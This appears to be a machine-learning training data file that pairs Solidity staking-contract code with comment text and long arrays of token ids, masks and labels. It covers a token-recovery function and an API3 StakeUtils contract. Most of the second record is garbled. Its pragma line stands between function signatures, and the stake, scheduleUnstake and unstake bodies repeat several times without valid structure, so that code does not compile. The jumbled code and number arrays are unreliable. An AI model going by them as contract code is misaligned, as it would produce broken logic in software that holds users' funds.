function governanceRecoverUnsupported( IERC20 _token, uint256 amount, address to ) external onlyOperator { require(address(_token) != stakeToken, "stakeToken"); _token.safeTransfer(to, amount); }
12,570,663
[ 1, 2503, 445, 5360, 314, 1643, 82, 1359, 358, 4862, 13248, 2430, 596, 434, 326, 6835, 18, 1220, 353, 316, 392, 23445, 358, 1221, 18626, 7339, 16, 1410, 2898, 703, 22774, 715, 12755, 731, 18, 6149, 353, 1158, 18779, 314, 1643, 82, 1359, 903, 12501, 358, 327, 4259, 18, 2597, 2546, 5360, 364, 14817, 434, 279, 6909, 1764, 1845, 2430, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 314, 1643, 82, 1359, 27622, 8544, 12, 203, 3639, 467, 654, 39, 3462, 389, 2316, 16, 203, 3639, 2254, 5034, 3844, 16, 203, 3639, 1758, 358, 203, 565, 262, 3903, 1338, 5592, 288, 203, 3639, 2583, 12, 2867, 24899, 2316, 13, 480, 384, 911, 1345, 16, 315, 334, 911, 1345, 8863, 203, 3639, 389, 2316, 18, 4626, 5912, 12, 869, 16, 3844, 1769, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//SPDX-License-Identifier: MIT pragma solidity 0.8.2; import "./TransferUtils.sol"; import "./interfaces/IStakeUtils.sol"; /// @title Contract that implements staking functionality contract StakeUtils is TransferUtils, IStakeUtils { /// @param api3TokenAddress API3 token contract address constructor(address api3TokenAddress) TransferUtils(api3TokenAddress) {} /// @notice Called to stake tokens to receive pools in the share /// @param amount Amount of tokens to stake function stake(uint256 amount) public override payEpochRewardBefore() { User storage user = users[msg.sender]; require(user.unstaked >= amount, ERROR_VALUE); user.unstaked = user.unstaked - amount; uint256 totalSharesNow = getValue(totalShares); uint256 totalStakedNow = getValue(totalStaked); uint256 sharesToMint = totalSharesNow * amount / totalStakedNow; uint256 userSharesNow = getValue(user.shares); user.shares.push(Checkpoint({ fromBlock: block.number, value: userSharesNow + sharesToMint })); totalShares.push(Checkpoint({ fromBlock: block.number, value: totalSharesNow + sharesToMint })); totalStaked.push(Checkpoint({ fromBlock: block.number, value: totalStakedNow + amount })); updateDelegatedVotingPower(sharesToMint, true); emit Staked( msg.sender, amount ); } /// @notice Convenience method to deposit and stake in a single transaction /// @dev Due to the `deposit()` interface, `userAddress` can only be the /// caller /// @param source Token transfer source /// @param amount Amount to be deposited and staked /// @param userAddress User that the tokens will be staked for function depositAndStake( address source, uint256 amount, address userAddress ) external override { require(userAddress == msg.sender, ERROR_UNAUTHORIZED); deposit(source, amount, userAddress); stake(amount); } /// @notice Called to schedule an unstake by the user /// @dev Users need to schedule an unstake and wait for `unstakeWaitPeriod` /// to be able to unstake. /// Scheduling an unstake results in the reward of the current epoch to be /// revoked from the user. This is to prevent the user from scheduling /// unstakes that they are not intending to execute (to be used as a /// fail-safe to evade insurance claims should they happen). /// @param amount Amount of tokens for which the unstake will be scheduled /// for function scheduleUnstake(uint256 amount) external override payEpochRewardBefore() { uint256 totalStakedNow = getValue(totalStaked); uint256 totalSharesNow = getValue(totalShares); User storage user = users[msg.sender]; uint256 userSharesNow = getValue(user.shares); uint256 userStakedNow = userSharesNow * totalStakedNow / totalSharesNow; require( userStakedNow >= amount, ERROR_VALUE ); // Revoke the reward of the current epoch if applicable uint256 currentEpoch = block.timestamp / EPOCH_LENGTH; if (!user.epochIndexToRewardRevocationStatus[currentEpoch]) { Reward storage currentReward = epochIndexToReward[currentEpoch]; if (currentReward.amount != 0) { uint256 tokensToRevoke = currentReward.amount * getValueAt(user.shares, currentReward.atBlock) / getValueAt(totalShares, currentReward.atBlock); uint256 sharesToBurn = (tokensToRevoke * totalSharesNow + (userSharesNow * totalStakedNow) - (userStakedNow * totalSharesNow)) / (totalStakedNow + tokensToRevoke - userStakedNow); if (sharesToBurn != 0) { // Do not allow the user to burn what they are trying to // unstake require(sharesToBurn < userSharesNow, ERROR_UNAUTHORIZED); // The reward gets redistributed to the current stakers // Note that the lock for this reward will remain userSharesNow = userSharesNow - sharesToBurn; totalSharesNow = totalSharesNow - sharesToBurn; user.shares.push(Checkpoint({ fromBlock: block.number, value: userSharesNow })); totalShares.push(Checkpoint({ fromBlock: block.number, value: totalSharesNow })); updateDelegatedVotingPower(sharesToBurn, false); user.epochIndexToRewardRevocationStatus[currentEpoch] = true; } } } user.unstakeScheduledFor = block.timestamp + unstakeWaitPeriod; user.unstakeAmount = amount; emit ScheduledUnstake( msg.sender, amount, user.unstakeScheduledFor ); } /// @notice Called to execute a pre-scheduled unstake /// @return Amount of tokens that are unstaked function unstake() public override payEpochRewardBefore() returns(uint256) { User storage user = users[msg.sender]; require(block.timestamp > user.unstakeScheduledFor, ERROR_UNAUTHORIZED); require(block.timestamp < user.unstakeScheduledFor + EPOCH_LENGTH, ERROR_UNAUTHORIZED); uint256 amount = user.unstakeAmount; uint256 totalSharesNow = getValue(totalShares); uint256 totalStakedNow = getValue(totalStaked); uint256 userSharesNow = getValue(user.shares); uint256 sharesToBurn = totalSharesNow * amount / totalStakedNow; // If the user no longer has enough shares to unstake the scheduled // amount of tokens, unstake as many tokens as possible instead if (sharesToBurn > userSharesNow) { sharesToBurn = userSharesNow; amount = sharesToBurn * totalStakedNow / totalSharesNow; } user.unstaked = user.unstaked + amount; user.shares.push(Checkpoint({ fromBlock: block.number, value: userSharesNow - sharesToBurn })); totalShares.push(Checkpoint({ fromBlock: block.number, value: totalSharesNow > sharesToBurn ? totalSharesNow - sharesToBurn : 1 })); updateDelegatedVotingPower(sharesToBurn, false); uint256 newTotalStaked = totalStakedNow > amount ? totalStakedNow - amount : 1; totalStaked.push(Checkpoint({ fromBlock: block.number, value: newTotalStaked })); user.unstakeScheduledFor = 0; user.unstakeAmount = 0; emit Unstaked( msg.sender, amount ); return amount; } /// @notice Convenience method to execute an unstake and withdraw in a /// single transaction /// @dev Note that withdraw may revert because the user may have less than /// `unstaked` tokens that are withdrawable /// @param destination Token transfer destination function unstakeAndWithdraw(address destination) external override { uint256 unstaked = unstake(); withdraw(destination, unstaked); } }
@title Contract that implements staking functionality
contract StakeUtils is TransferUtils, IStakeUtils { constructor(address api3TokenAddress) TransferUtils(api3TokenAddress) function stake(uint256 amount) public override payEpochRewardBefore() pragma solidity 0.8.2; {} { User storage user = users[msg.sender]; require(user.unstaked >= amount, ERROR_VALUE); user.unstaked = user.unstaked - amount; uint256 totalSharesNow = getValue(totalShares); uint256 totalStakedNow = getValue(totalStaked); uint256 sharesToMint = totalSharesNow * amount / totalStakedNow; uint256 userSharesNow = getValue(user.shares); user.shares.push(Checkpoint({ fromBlock: block.number, value: userSharesNow + sharesToMint })); totalShares.push(Checkpoint({ fromBlock: block.number, value: totalSharesNow + sharesToMint })); totalStaked.push(Checkpoint({ fromBlock: block.number, value: totalStakedNow + amount })); updateDelegatedVotingPower(sharesToMint, true); emit Staked( msg.sender, amount ); } { User storage user = users[msg.sender]; require(user.unstaked >= amount, ERROR_VALUE); user.unstaked = user.unstaked - amount; uint256 totalSharesNow = getValue(totalShares); uint256 totalStakedNow = getValue(totalStaked); uint256 sharesToMint = totalSharesNow * amount / totalStakedNow; uint256 userSharesNow = getValue(user.shares); user.shares.push(Checkpoint({ fromBlock: block.number, value: userSharesNow + sharesToMint })); totalShares.push(Checkpoint({ fromBlock: block.number, value: totalSharesNow + sharesToMint })); totalStaked.push(Checkpoint({ fromBlock: block.number, value: totalStakedNow + amount })); updateDelegatedVotingPower(sharesToMint, true); emit Staked( msg.sender, amount ); } { User storage user = users[msg.sender]; require(user.unstaked >= amount, ERROR_VALUE); user.unstaked = user.unstaked - amount; uint256 totalSharesNow = getValue(totalShares); uint256 totalStakedNow = getValue(totalStaked); uint256 sharesToMint = totalSharesNow * amount / totalStakedNow; uint256 userSharesNow = getValue(user.shares); user.shares.push(Checkpoint({ fromBlock: block.number, value: userSharesNow + sharesToMint })); totalShares.push(Checkpoint({ fromBlock: block.number, value: totalSharesNow + sharesToMint })); totalStaked.push(Checkpoint({ fromBlock: block.number, value: totalStakedNow + amount })); updateDelegatedVotingPower(sharesToMint, true); emit Staked( msg.sender, amount ); } { User storage user = users[msg.sender]; require(user.unstaked >= amount, ERROR_VALUE); user.unstaked = user.unstaked - amount; uint256 totalSharesNow = getValue(totalShares); uint256 totalStakedNow = getValue(totalStaked); uint256 sharesToMint = totalSharesNow * amount / totalStakedNow; uint256 userSharesNow = getValue(user.shares); user.shares.push(Checkpoint({ fromBlock: block.number, value: userSharesNow + sharesToMint })); totalShares.push(Checkpoint({ fromBlock: block.number, value: totalSharesNow + sharesToMint })); totalStaked.push(Checkpoint({ fromBlock: block.number, value: totalStakedNow + amount })); updateDelegatedVotingPower(sharesToMint, true); emit Staked( msg.sender, amount ); } function depositAndStake( address source, uint256 amount, address userAddress ) external override { require(userAddress == msg.sender, ERROR_UNAUTHORIZED); deposit(source, amount, userAddress); stake(amount); } function scheduleUnstake(uint256 amount) external override payEpochRewardBefore() { uint256 totalStakedNow = getValue(totalStaked); uint256 totalSharesNow = getValue(totalShares); User storage user = users[msg.sender]; uint256 userSharesNow = getValue(user.shares); uint256 userStakedNow = userSharesNow * totalStakedNow / totalSharesNow; require( userStakedNow >= amount, ERROR_VALUE ); uint256 currentEpoch = block.timestamp / EPOCH_LENGTH; if (!user.epochIndexToRewardRevocationStatus[currentEpoch]) { Reward storage currentReward = epochIndexToReward[currentEpoch]; if (currentReward.amount != 0) { uint256 tokensToRevoke = currentReward.amount * getValueAt(user.shares, currentReward.atBlock) / getValueAt(totalShares, currentReward.atBlock); uint256 sharesToBurn = (tokensToRevoke * totalSharesNow + (userSharesNow * totalStakedNow) - (userStakedNow * totalSharesNow)) / (totalStakedNow + tokensToRevoke - userStakedNow); if (sharesToBurn != 0) { require(sharesToBurn < userSharesNow, ERROR_UNAUTHORIZED); userSharesNow = userSharesNow - sharesToBurn; totalSharesNow = totalSharesNow - sharesToBurn; user.shares.push(Checkpoint({ fromBlock: block.number, value: userSharesNow })); totalShares.push(Checkpoint({ fromBlock: block.number, value: totalSharesNow })); updateDelegatedVotingPower(sharesToBurn, false); user.epochIndexToRewardRevocationStatus[currentEpoch] = true; } } } user.unstakeScheduledFor = block.timestamp + unstakeWaitPeriod; user.unstakeAmount = amount; emit ScheduledUnstake( msg.sender, amount, user.unstakeScheduledFor ); } function scheduleUnstake(uint256 amount) external override payEpochRewardBefore() { uint256 totalStakedNow = getValue(totalStaked); uint256 totalSharesNow = getValue(totalShares); User storage user = users[msg.sender]; uint256 userSharesNow = getValue(user.shares); uint256 userStakedNow = userSharesNow * totalStakedNow / totalSharesNow; require( userStakedNow >= amount, ERROR_VALUE ); uint256 currentEpoch = block.timestamp / EPOCH_LENGTH; if (!user.epochIndexToRewardRevocationStatus[currentEpoch]) { Reward storage currentReward = epochIndexToReward[currentEpoch]; if (currentReward.amount != 0) { uint256 tokensToRevoke = currentReward.amount * getValueAt(user.shares, currentReward.atBlock) / getValueAt(totalShares, currentReward.atBlock); uint256 sharesToBurn = (tokensToRevoke * totalSharesNow + (userSharesNow * totalStakedNow) - (userStakedNow * totalSharesNow)) / (totalStakedNow + tokensToRevoke - userStakedNow); if (sharesToBurn != 0) { require(sharesToBurn < userSharesNow, ERROR_UNAUTHORIZED); userSharesNow = userSharesNow - sharesToBurn; totalSharesNow = totalSharesNow - sharesToBurn; user.shares.push(Checkpoint({ fromBlock: block.number, value: userSharesNow })); totalShares.push(Checkpoint({ fromBlock: block.number, value: totalSharesNow })); updateDelegatedVotingPower(sharesToBurn, false); user.epochIndexToRewardRevocationStatus[currentEpoch] = true; } } } user.unstakeScheduledFor = block.timestamp + unstakeWaitPeriod; user.unstakeAmount = amount; emit ScheduledUnstake( msg.sender, amount, user.unstakeScheduledFor ); } function scheduleUnstake(uint256 amount) external override payEpochRewardBefore() { uint256 totalStakedNow = getValue(totalStaked); uint256 totalSharesNow = getValue(totalShares); User storage user = users[msg.sender]; uint256 userSharesNow = getValue(user.shares); uint256 userStakedNow = userSharesNow * totalStakedNow / totalSharesNow; require( userStakedNow >= amount, ERROR_VALUE ); uint256 currentEpoch = block.timestamp / EPOCH_LENGTH; if (!user.epochIndexToRewardRevocationStatus[currentEpoch]) { Reward storage currentReward = epochIndexToReward[currentEpoch]; if (currentReward.amount != 0) { uint256 tokensToRevoke = currentReward.amount * getValueAt(user.shares, currentReward.atBlock) / getValueAt(totalShares, currentReward.atBlock); uint256 sharesToBurn = (tokensToRevoke * totalSharesNow + (userSharesNow * totalStakedNow) - (userStakedNow * totalSharesNow)) / (totalStakedNow + tokensToRevoke - userStakedNow); if (sharesToBurn != 0) { require(sharesToBurn < userSharesNow, ERROR_UNAUTHORIZED); userSharesNow = userSharesNow - sharesToBurn; totalSharesNow = totalSharesNow - sharesToBurn; user.shares.push(Checkpoint({ fromBlock: block.number, value: userSharesNow })); totalShares.push(Checkpoint({ fromBlock: block.number, value: totalSharesNow })); updateDelegatedVotingPower(sharesToBurn, false); user.epochIndexToRewardRevocationStatus[currentEpoch] = true; } } } user.unstakeScheduledFor = block.timestamp + unstakeWaitPeriod; user.unstakeAmount = amount; emit ScheduledUnstake( msg.sender, amount, user.unstakeScheduledFor ); } function scheduleUnstake(uint256 amount) external override payEpochRewardBefore() { uint256 totalStakedNow = getValue(totalStaked); uint256 totalSharesNow = getValue(totalShares); User storage user = users[msg.sender]; uint256 userSharesNow = getValue(user.shares); uint256 userStakedNow = userSharesNow * totalStakedNow / totalSharesNow; require( userStakedNow >= amount, ERROR_VALUE ); uint256 currentEpoch = block.timestamp / EPOCH_LENGTH; if (!user.epochIndexToRewardRevocationStatus[currentEpoch]) { Reward storage currentReward = epochIndexToReward[currentEpoch]; if (currentReward.amount != 0) { uint256 tokensToRevoke = currentReward.amount * getValueAt(user.shares, currentReward.atBlock) / getValueAt(totalShares, currentReward.atBlock); uint256 sharesToBurn = (tokensToRevoke * totalSharesNow + (userSharesNow * totalStakedNow) - (userStakedNow * totalSharesNow)) / (totalStakedNow + tokensToRevoke - userStakedNow); if (sharesToBurn != 0) { require(sharesToBurn < userSharesNow, ERROR_UNAUTHORIZED); userSharesNow = userSharesNow - sharesToBurn; totalSharesNow = totalSharesNow - sharesToBurn; user.shares.push(Checkpoint({ fromBlock: block.number, value: userSharesNow })); totalShares.push(Checkpoint({ fromBlock: block.number, value: totalSharesNow })); updateDelegatedVotingPower(sharesToBurn, false); user.epochIndexToRewardRevocationStatus[currentEpoch] = true; } } } user.unstakeScheduledFor = block.timestamp + unstakeWaitPeriod; user.unstakeAmount = amount; emit ScheduledUnstake( msg.sender, amount, user.unstakeScheduledFor ); } function scheduleUnstake(uint256 amount) external override payEpochRewardBefore() { uint256 totalStakedNow = getValue(totalStaked); uint256 totalSharesNow = getValue(totalShares); User storage user = users[msg.sender]; uint256 userSharesNow = getValue(user.shares); uint256 userStakedNow = userSharesNow * totalStakedNow / totalSharesNow; require( userStakedNow >= amount, ERROR_VALUE ); uint256 currentEpoch = block.timestamp / EPOCH_LENGTH; if (!user.epochIndexToRewardRevocationStatus[currentEpoch]) { Reward storage currentReward = epochIndexToReward[currentEpoch]; if (currentReward.amount != 0) { uint256 tokensToRevoke = currentReward.amount * getValueAt(user.shares, currentReward.atBlock) / getValueAt(totalShares, currentReward.atBlock); uint256 sharesToBurn = (tokensToRevoke * totalSharesNow + (userSharesNow * totalStakedNow) - (userStakedNow * totalSharesNow)) / (totalStakedNow + tokensToRevoke - userStakedNow); if (sharesToBurn != 0) { require(sharesToBurn < userSharesNow, ERROR_UNAUTHORIZED); userSharesNow = userSharesNow - sharesToBurn; totalSharesNow = totalSharesNow - sharesToBurn; user.shares.push(Checkpoint({ fromBlock: block.number, value: userSharesNow })); totalShares.push(Checkpoint({ fromBlock: block.number, value: totalSharesNow })); updateDelegatedVotingPower(sharesToBurn, false); user.epochIndexToRewardRevocationStatus[currentEpoch] = true; } } } user.unstakeScheduledFor = block.timestamp + unstakeWaitPeriod; user.unstakeAmount = amount; emit ScheduledUnstake( msg.sender, amount, user.unstakeScheduledFor ); } function scheduleUnstake(uint256 amount) external override payEpochRewardBefore() { uint256 totalStakedNow = getValue(totalStaked); uint256 totalSharesNow = getValue(totalShares); User storage user = users[msg.sender]; uint256 userSharesNow = getValue(user.shares); uint256 userStakedNow = userSharesNow * totalStakedNow / totalSharesNow; require( userStakedNow >= amount, ERROR_VALUE ); uint256 currentEpoch = block.timestamp / EPOCH_LENGTH; if (!user.epochIndexToRewardRevocationStatus[currentEpoch]) { Reward storage currentReward = epochIndexToReward[currentEpoch]; if (currentReward.amount != 0) { uint256 tokensToRevoke = currentReward.amount * getValueAt(user.shares, currentReward.atBlock) / getValueAt(totalShares, currentReward.atBlock); uint256 sharesToBurn = (tokensToRevoke * totalSharesNow + (userSharesNow * totalStakedNow) - (userStakedNow * totalSharesNow)) / (totalStakedNow + tokensToRevoke - userStakedNow); if (sharesToBurn != 0) { require(sharesToBurn < userSharesNow, ERROR_UNAUTHORIZED); userSharesNow = userSharesNow - sharesToBurn; totalSharesNow = totalSharesNow - sharesToBurn; user.shares.push(Checkpoint({ fromBlock: block.number, value: userSharesNow })); totalShares.push(Checkpoint({ fromBlock: block.number, value: totalSharesNow })); updateDelegatedVotingPower(sharesToBurn, false); user.epochIndexToRewardRevocationStatus[currentEpoch] = true; } } } user.unstakeScheduledFor = block.timestamp + unstakeWaitPeriod; user.unstakeAmount = amount; emit ScheduledUnstake( msg.sender, amount, user.unstakeScheduledFor ); } function unstake() public override payEpochRewardBefore() returns(uint256) { User storage user = users[msg.sender]; require(block.timestamp > user.unstakeScheduledFor, ERROR_UNAUTHORIZED); require(block.timestamp < user.unstakeScheduledFor + EPOCH_LENGTH, ERROR_UNAUTHORIZED); uint256 amount = user.unstakeAmount; uint256 totalSharesNow = getValue(totalShares); uint256 totalStakedNow = getValue(totalStaked); uint256 userSharesNow = getValue(user.shares); uint256 sharesToBurn = totalSharesNow * amount / totalStakedNow; if (sharesToBurn > userSharesNow) { sharesToBurn = userSharesNow; amount = sharesToBurn * totalStakedNow / totalSharesNow; } user.unstaked = user.unstaked + amount; user.shares.push(Checkpoint({ fromBlock: block.number, value: userSharesNow - sharesToBurn })); totalShares.push(Checkpoint({ fromBlock: block.number, value: totalSharesNow > sharesToBurn ? totalSharesNow - sharesToBurn : 1 })); updateDelegatedVotingPower(sharesToBurn, false); uint256 newTotalStaked = totalStakedNow > amount ? totalStakedNow - amount : 1; totalStaked.push(Checkpoint({ fromBlock: block.number, value: newTotalStaked })); user.unstakeScheduledFor = 0; user.unstakeAmount = 0; emit Unstaked( msg.sender, amount ); return amount; } function unstake() public override payEpochRewardBefore() returns(uint256) { User storage user = users[msg.sender]; require(block.timestamp > user.unstakeScheduledFor, ERROR_UNAUTHORIZED); require(block.timestamp < user.unstakeScheduledFor + EPOCH_LENGTH, ERROR_UNAUTHORIZED); uint256 amount = user.unstakeAmount; uint256 totalSharesNow = getValue(totalShares); uint256 totalStakedNow = getValue(totalStaked); uint256 userSharesNow = getValue(user.shares); uint256 sharesToBurn = totalSharesNow * amount / totalStakedNow; if (sharesToBurn > userSharesNow) { sharesToBurn = userSharesNow; amount = sharesToBurn * totalStakedNow / totalSharesNow; } user.unstaked = user.unstaked + amount; user.shares.push(Checkpoint({ fromBlock: block.number, value: userSharesNow - sharesToBurn })); totalShares.push(Checkpoint({ fromBlock: block.number, value: totalSharesNow > sharesToBurn ? totalSharesNow - sharesToBurn : 1 })); updateDelegatedVotingPower(sharesToBurn, false); uint256 newTotalStaked = totalStakedNow > amount ? totalStakedNow - amount : 1; totalStaked.push(Checkpoint({ fromBlock: block.number, value: newTotalStaked })); user.unstakeScheduledFor = 0; user.unstakeAmount = 0; emit Unstaked( msg.sender, amount ); return amount; } function unstake() public override payEpochRewardBefore() returns(uint256) { User storage user = users[msg.sender]; require(block.timestamp > user.unstakeScheduledFor, ERROR_UNAUTHORIZED); require(block.timestamp < user.unstakeScheduledFor + EPOCH_LENGTH, ERROR_UNAUTHORIZED); uint256 amount = user.unstakeAmount; uint256 totalSharesNow = getValue(totalShares); uint256 totalStakedNow = getValue(totalStaked); uint256 userSharesNow = getValue(user.shares); uint256 sharesToBurn = totalSharesNow * amount / totalStakedNow; if (sharesToBurn > userSharesNow) { sharesToBurn = userSharesNow; amount = sharesToBurn * totalStakedNow / totalSharesNow; } user.unstaked = user.unstaked + amount; user.shares.push(Checkpoint({ fromBlock: block.number, value: userSharesNow - sharesToBurn })); totalShares.push(Checkpoint({ fromBlock: block.number, value: totalSharesNow > sharesToBurn ? totalSharesNow - sharesToBurn : 1 })); updateDelegatedVotingPower(sharesToBurn, false); uint256 newTotalStaked = totalStakedNow > amount ? totalStakedNow - amount : 1; totalStaked.push(Checkpoint({ fromBlock: block.number, value: newTotalStaked })); user.unstakeScheduledFor = 0; user.unstakeAmount = 0; emit Unstaked( msg.sender, amount ); return amount; } function unstake() public override payEpochRewardBefore() returns(uint256) { User storage user = users[msg.sender]; require(block.timestamp > user.unstakeScheduledFor, ERROR_UNAUTHORIZED); require(block.timestamp < user.unstakeScheduledFor + EPOCH_LENGTH, ERROR_UNAUTHORIZED); uint256 amount = user.unstakeAmount; uint256 totalSharesNow = getValue(totalShares); uint256 totalStakedNow = getValue(totalStaked); uint256 userSharesNow = getValue(user.shares); uint256 sharesToBurn = totalSharesNow * amount / totalStakedNow; if (sharesToBurn > userSharesNow) { sharesToBurn = userSharesNow; amount = sharesToBurn * totalStakedNow / totalSharesNow; } user.unstaked = user.unstaked + amount; user.shares.push(Checkpoint({ fromBlock: block.number, value: userSharesNow - sharesToBurn })); totalShares.push(Checkpoint({ fromBlock: block.number, value: totalSharesNow > sharesToBurn ? totalSharesNow - sharesToBurn : 1 })); updateDelegatedVotingPower(sharesToBurn, false); uint256 newTotalStaked = totalStakedNow > amount ? totalStakedNow - amount : 1; totalStaked.push(Checkpoint({ fromBlock: block.number, value: newTotalStaked })); user.unstakeScheduledFor = 0; user.unstakeAmount = 0; emit Unstaked( msg.sender, amount ); return amount; } function unstake() public override payEpochRewardBefore() returns(uint256) { User storage user = users[msg.sender]; require(block.timestamp > user.unstakeScheduledFor, ERROR_UNAUTHORIZED); require(block.timestamp < user.unstakeScheduledFor + EPOCH_LENGTH, ERROR_UNAUTHORIZED); uint256 amount = user.unstakeAmount; uint256 totalSharesNow = getValue(totalShares); uint256 totalStakedNow = getValue(totalStaked); uint256 userSharesNow = getValue(user.shares); uint256 sharesToBurn = totalSharesNow * amount / totalStakedNow; if (sharesToBurn > userSharesNow) { sharesToBurn = userSharesNow; amount = sharesToBurn * totalStakedNow / totalSharesNow; } user.unstaked = user.unstaked + amount; user.shares.push(Checkpoint({ fromBlock: block.number, value: userSharesNow - sharesToBurn })); totalShares.push(Checkpoint({ fromBlock: block.number, value: totalSharesNow > sharesToBurn ? totalSharesNow - sharesToBurn : 1 })); updateDelegatedVotingPower(sharesToBurn, false); uint256 newTotalStaked = totalStakedNow > amount ? totalStakedNow - amount : 1; totalStaked.push(Checkpoint({ fromBlock: block.number, value: newTotalStaked })); user.unstakeScheduledFor = 0; user.unstakeAmount = 0; emit Unstaked( msg.sender, amount ); return amount; } function unstakeAndWithdraw(address destination) external override { uint256 unstaked = unstake(); withdraw(destination, unstaked); } }
12,927,358
[ 1, 8924, 716, 4792, 384, 6159, 14176, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 934, 911, 1989, 353, 12279, 1989, 16, 467, 510, 911, 1989, 288, 203, 565, 3885, 12, 2867, 1536, 23, 1345, 1887, 13, 203, 3639, 12279, 1989, 12, 2425, 23, 1345, 1887, 13, 203, 203, 565, 445, 384, 911, 12, 11890, 5034, 3844, 13, 203, 3639, 1071, 203, 3639, 3849, 203, 3639, 8843, 14638, 17631, 1060, 4649, 1435, 203, 683, 9454, 18035, 560, 374, 18, 28, 18, 22, 31, 203, 565, 2618, 203, 565, 288, 203, 3639, 2177, 2502, 729, 273, 3677, 63, 3576, 18, 15330, 15533, 203, 3639, 2583, 12, 1355, 18, 23412, 9477, 1545, 3844, 16, 5475, 67, 4051, 1769, 203, 3639, 729, 18, 23412, 9477, 273, 729, 18, 23412, 9477, 300, 3844, 31, 203, 3639, 2254, 5034, 2078, 24051, 8674, 273, 2366, 12, 4963, 24051, 1769, 203, 3639, 2254, 5034, 2078, 510, 9477, 8674, 273, 2366, 12, 4963, 510, 9477, 1769, 203, 3639, 2254, 5034, 24123, 774, 49, 474, 273, 2078, 24051, 8674, 380, 3844, 342, 2078, 510, 9477, 8674, 31, 203, 3639, 2254, 5034, 729, 24051, 8674, 273, 2366, 12, 1355, 18, 30720, 1769, 203, 3639, 729, 18, 30720, 18, 6206, 12, 14431, 12590, 203, 5411, 628, 1768, 30, 1203, 18, 2696, 16, 203, 5411, 460, 30, 729, 24051, 8674, 397, 24123, 774, 49, 474, 203, 5411, 289, 10019, 4202, 203, 3639, 2078, 24051, 18, 6206, 12, 14431, 12590, 203, 5411, 628, 1768, 30, 1203, 18, 2696, 16, 203, 5411, 460, 30, 2078, 24051, 8674, 397, 24123, 774, 49, 474, 203, 5411, 289, 10019, 203, 3639, 2078, 510, 9477, 18, 2 ]
